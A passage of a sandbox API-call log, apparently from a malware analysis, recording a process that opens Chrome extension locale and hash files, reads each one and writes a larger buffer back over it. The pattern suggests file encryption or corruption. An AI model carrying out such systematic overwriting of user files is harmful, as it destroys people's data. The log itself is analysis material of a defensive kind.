lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0049.979] WriteFile (in: hFile=0x198, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.979] CloseHandle (hObject=0x198) returned 1 [0049.979] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.980] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.980] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb3 [0049.980] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.980] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.980] ReleaseMutex (hMutex=0x128) returned 1 [0049.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.980] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x318f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0049.981] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.981] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0049.981] CloseHandle (hObject=0x198) returned 1 [0049.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.982] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.982] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb3 [0049.982] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.982] ReleaseMutex (hMutex=0x128) returned 1 [0049.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.982] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x318f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0049.983] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.983] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0049.984] CloseHandle (hObject=0x198) returned 1 [0049.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.984] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.985] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb3 [0049.985] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.985] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.985] ReleaseMutex (hMutex=0x128) returned 1 [0049.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.985] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x318f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0049.986] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.986] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0049.986] CloseHandle (hObject=0x198) returned 1 [0049.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.986] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.986] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb3 [0049.987] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.987] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.987] ReleaseMutex (hMutex=0x128) returned 1 [0049.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.987] ReadFile (in: hFile=0x198, lpBuffer=0x1e37248, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e37248*, lpNumberOfBytesRead=0x318f2bc*=0xb3, lpOverlapped=0x0) returned 1 [0049.988] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.988] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x63b, lpOverlapped=0x0) returned 1 [0049.988] CloseHandle (hObject=0x198) returned 1 [0049.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.988] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.988] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xe5 [0049.988] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.989] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.989] ReleaseMutex (hMutex=0x128) returned 1 [0049.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.989] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.989] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xe5, lpOverlapped=0x0) returned 1 [0049.989] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.990] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x66d, lpOverlapped=0x0) returned 1 [0049.990] CloseHandle (hObject=0x198) returned 1 [0049.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.990] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.990] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdc [0049.990] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.990] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.991] ReleaseMutex (hMutex=0x128) returned 1 [0049.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.991] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdc, lpOverlapped=0x0) returned 1 [0049.991] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.991] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x664, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x664, lpOverlapped=0x0) returned 1 [0049.992] CloseHandle (hObject=0x198) returned 1 [0049.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.992] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.992] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xeb [0049.992] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.992] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.992] ReleaseMutex (hMutex=0x128) returned 1 [0049.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.992] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.993] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xeb, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xeb, lpOverlapped=0x0) returned 1 [0049.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.993] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x673, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x673, lpOverlapped=0x0) returned 1 [0049.994] CloseHandle (hObject=0x198) returned 1 [0049.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.994] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.994] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdb [0049.994] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.994] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.994] ReleaseMutex (hMutex=0x128) returned 1 [0049.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.994] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.994] ReadFile (in: hFile=0x198, lpBuffer=0x25c4f98, nNumberOfBytesToRead=0xdb, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4f98*, lpNumberOfBytesRead=0x318f2bc*=0xdb, lpOverlapped=0x0) returned 1 [0049.995] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.995] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x663, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x663, lpOverlapped=0x0) returned 1 [0049.996] CloseHandle (hObject=0x198) returned 1 [0049.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x160 [0049.996] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.996] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.996] ReleaseMutex (hMutex=0x128) returned 1 [0049.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0049.997] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="computed_hashes.json", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="computed_hashes.json", lpUsedDefaultChar=0x0) returned 20 [0049.997] ReadFile (in: hFile=0x198, lpBuffer=0x2635928, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635928*, lpNumberOfBytesRead=0x318f2bc*=0x160, lpOverlapped=0x0) returned 1 [0049.997] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.997] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6e8, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x6e8, lpOverlapped=0x0) returned 1 [0049.998] CloseHandle (hObject=0x198) returned 1 [0049.998] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0049.998] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.998] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xed [0049.998] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0049.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.998] ReleaseMutex (hMutex=0x128) returned 1 [0049.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.999] ReadFile (in: hFile=0x198, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xed, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x318f2bc*=0xed, lpOverlapped=0x0) returned 1 [0049.999] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0049.999] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x675, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x318f2d0*=0x675, lpOverlapped=0x0) returned 1 [0050.000] CloseHandle (hObject=0x198) returned 1 [0050.000] CreateFileW 